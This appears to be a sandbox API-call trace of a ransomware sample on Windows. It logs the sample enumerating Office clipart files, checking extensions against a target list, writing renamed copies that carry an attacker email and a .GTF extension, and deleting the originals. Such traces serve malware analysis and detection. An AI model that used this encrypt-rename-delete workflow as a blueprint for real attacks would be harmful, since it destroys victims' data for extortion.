	[0161.132] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.132] lstrlenW (lpString=".rar") returned 4
	[0161.132] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.132] lstrlenW (lpString=".bz2") returned 4
	[0161.132] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.132] lstrlenW (lpString=".7z") returned 3
	[0161.132] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.132] lstrlenW (lpString=".dbf") returned 4
	[0161.132] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.132] lstrlenW (lpString=".1cd") returned 4
	[0161.132] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.133] lstrlenW (lpString=".jpg") returned 4
	[0161.133] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.133] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0161.133] lstrlenW (lpString="J0099198.GIF") returned 12
	[0161.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.133] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=5259) returned 1
	[0161.133] CloseHandle (hObject=0x4b4) returned 1
	[0161.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220
	[0161.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.134] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.134] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0161.135] GetLastError () returned 0x0
	[0161.135] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x148b, lpOverlapped=0x0) returned 1
	[0161.136] WriteFile (in: hFile=0x4ac, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0161.137] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.137] WriteFile (in: hFile=0x4ac, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.137] SetEndOfFile (hFile=0x4ac) returned 1
	[0161.137] CloseHandle (hObject=0x4ac) returned 1
	[0161.137] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.138] SetEndOfFile (hFile=0x4b4) returned 1
	[0161.141] CloseHandle (hObject=0x4b4) returned 1
	[0161.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1
	[0161.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.142] lstrlenW (lpString=".doc") returned 4
	[0161.142] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.142] lstrlenW (lpString=".docx") returned 5
	[0161.142] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0161.142] lstrlenW (lpString=".pdf") returned 4
	[0161.142] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.142] lstrlenW (lpString=".xls") returned 4
	[0161.142] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.142] lstrlenW (lpString=".xlsx") returned 5
	[0161.142] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0161.142] lstrlenW (lpString=".ppt") returned 4
	[0161.143] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.143] lstrlenW (lpString=".zip") returned 4
	[0161.143] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.143] lstrlenW (lpString=".rar") returned 4
	[0161.143] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.143] lstrlenW (lpString=".bz2") returned 4
	[0161.143] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.143] lstrlenW (lpString=".7z") returned 3
	[0161.143] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.143] lstrlenW (lpString=".dbf") returned 4
	[0161.143] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.143] lstrlenW (lpString=".1cd") returned 4
	[0161.143] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.143] lstrlenW (lpString=".jpg") returned 4
	[0161.143] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.143] lstrlenW (lpString=".doc") returned 4
	[0161.143] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.143] lstrlenW (lpString=".docx") returned 5
	[0161.143] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0161.143] lstrlenW (lpString=".pdf") returned 4
	[0161.143] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.143] lstrlenW (lpString=".xls") returned 4
	[0161.143] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.143] lstrlenW (lpString=".xlsx") returned 5
	[0161.143] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0161.143] lstrlenW (lpString=".ppt") returned 4
	[0161.143] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.143] lstrlenW (lpString=".zip") returned 4
	[0161.143] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.143] lstrlenW (lpString=".rar") returned 4
	[0161.144] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.144] lstrlenW (lpString=".bz2") returned 4
	[0161.144] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.144] lstrlenW (lpString=".7z") returned 3
	[0161.144] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.144] lstrlenW (lpString=".dbf") returned 4
	[0161.144] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.144] lstrlenW (lpString=".1cd") returned 4
	[0161.144] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.144] lstrlenW (lpString=".jpg") returned 4
	[0161.144] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.144] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0161.144] lstrlenW (lpString="J0099199.GIF") returned 12
	[0161.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.145] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=33975) returned 1
	[0161.145] CloseHandle (hObject=0x4b4) returned 1
	[0161.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220
	[0161.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.146] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.146] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0161.147] GetLastError () returned 0x0
	[0161.147] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x84b7, lpOverlapped=0x0) returned 1
	[0161.149] WriteFile (in: hFile=0x4ac, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x84c0, lpOverlapped=0x0) returned 1
	[0161.151] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.151] WriteFile (in: hFile=0x4ac, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.151] SetEndOfFile (hFile=0x4ac) returned 1
	[0161.151] CloseHandle (hObject=0x4ac) returned 1
	[0161.151] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.151] SetEndOfFile (hFile=0x4b4) returned 1
	[0161.154] CloseHandle (hObject=0x4b4) returned 1
	[0161.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1
	[0161.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.155] lstrlenW (lpString=".doc") returned 4
	[0161.155] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.155] lstrlenW (lpString=".docx") returned 5
	[0161.155] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1
	[0161.156] lstrlenW (lpString=".pdf") returned 4
	[0161.156] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.156] lstrlenW (lpString=".xls") returned 4
	[0161.156] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.156] lstrlenW (lpString=".xlsx") returned 5
	[0161.156] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1
	[0161.156] lstrlenW (lpString=".ppt") returned 4
	[0161.156] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.156] lstrlenW (lpString=".zip") returned 4
	[0161.156] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.156] lstrlenW (lpString=".rar") returned 4
	[0161.156] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.156] lstrlenW (lpString=".bz2") returned 4
	[0161.156] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.156] lstrlenW (lpString=".7z") returned 3
	[0161.156] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.156] lstrlenW (lpString=".dbf") returned 4
	[0161.156] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.156] lstrlenW (lpString=".1cd") returned 4
	[0161.156] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.156] lstrlenW (lpString=".jpg") returned 4
	[0161.156] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.156] lstrlenW (lpString=".doc") returned 4
	[0161.156] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.156] lstrlenW (lpString=".docx") returned 5
	[0161.156] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1
	[0161.156] lstrlenW (lpString=".pdf") returned 4
	[0161.156] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.156] lstrlenW (lpString=".xls") returned 4
	[0161.156] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.156] lstrlenW (lpString=".xlsx") returned 5
	[0161.157] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1
	[0161.157] lstrlenW (lpString=".ppt") returned 4
	[0161.157] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.157] lstrlenW (lpString=".zip") returned 4
	[0161.157] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.157] lstrlenW (lpString=".rar") returned 4
	[0161.157] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.157] lstrlenW (lpString=".bz2") returned 4
	[0161.157] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.157] lstrlenW (lpString=".7z") returned 3
	[0161.157] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.157] lstrlenW (lpString=".dbf") returned 4
	[0161.157] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.157] lstrlenW (lpString=".1cd") returned 4
	[0161.157] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0161.157] lstrlenW (lpString=".jpg") returned 4
	[0161.157] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.157] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0161.157] lstrlenW (lpString="J0099200.GIF") returned 12
	[0161.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.158] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=16543) returned 1
	[0161.158] CloseHandle (hObject=0x4b4) returned 1
	[0161.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220
	[0161.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.158] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.159] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.338] GetLastError () returned 0x0
	[0161.338] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x409f, lpOverlapped=0x0) returned 1
	[0161.340] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x40a0, lpOverlapped=0x0) returned 1
	[0161.341] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.341] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.342] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.342] CloseHandle (hObject=0x4b0) returned 1
	[0161.342] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.342] SetEndOfFile (hFile=0x4b4) returned 1
	[0161.344] CloseHandle (hObject=0x4b4) returned 1
	[0161.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1
	[0161.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.912] lstrlenW (lpString=".doc") returned 4
	[0161.916] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.916] lstrlenW (lpString=".docx") returned 5
	[0161.916] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1
	[0161.916] lstrlenW (lpString=".pdf") returned 4
	[0161.916] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.916] lstrlenW (lpString=".xls") returned 4
	[0161.917] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.917] lstrlenW (lpString=".xlsx") returned 5
	[0161.917] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1
	[0161.917] lstrlenW (lpString=".ppt") returned 4
	[0161.917] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.920] lstrlenW (lpString=".zip") returned 4
	[0161.920] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.920] lstrlenW (lpString=".rar") returned 4
	[0161.922] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.923] lstrlenW (lpString=".bz2") returned 4
	[0161.923] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.923] lstrlenW (lpString=".7z") returned 3
	[0161.923] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.924] lstrlenW (lpString=".dbf") returned 4
	[0161.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.926] lstrlenW (lpString=".1cd") returned 4
	[0161.927] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.927] lstrlenW (lpString=".jpg") returned 4
	[0161.927] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.928] lstrlenW (lpString=".doc") returned 4
	[0161.931] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.931] lstrlenW (lpString=".docx") returned 5
	[0161.931] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1
	[0161.940] lstrlenW (lpString=".pdf") returned 4
	[0161.942] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.942] lstrlenW (lpString=".xls") returned 4
	[0161.948] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.948] lstrlenW (lpString=".xlsx") returned 5
	[0161.948] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1
	[0161.948] lstrlenW (lpString=".ppt") returned 4
	[0161.950] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
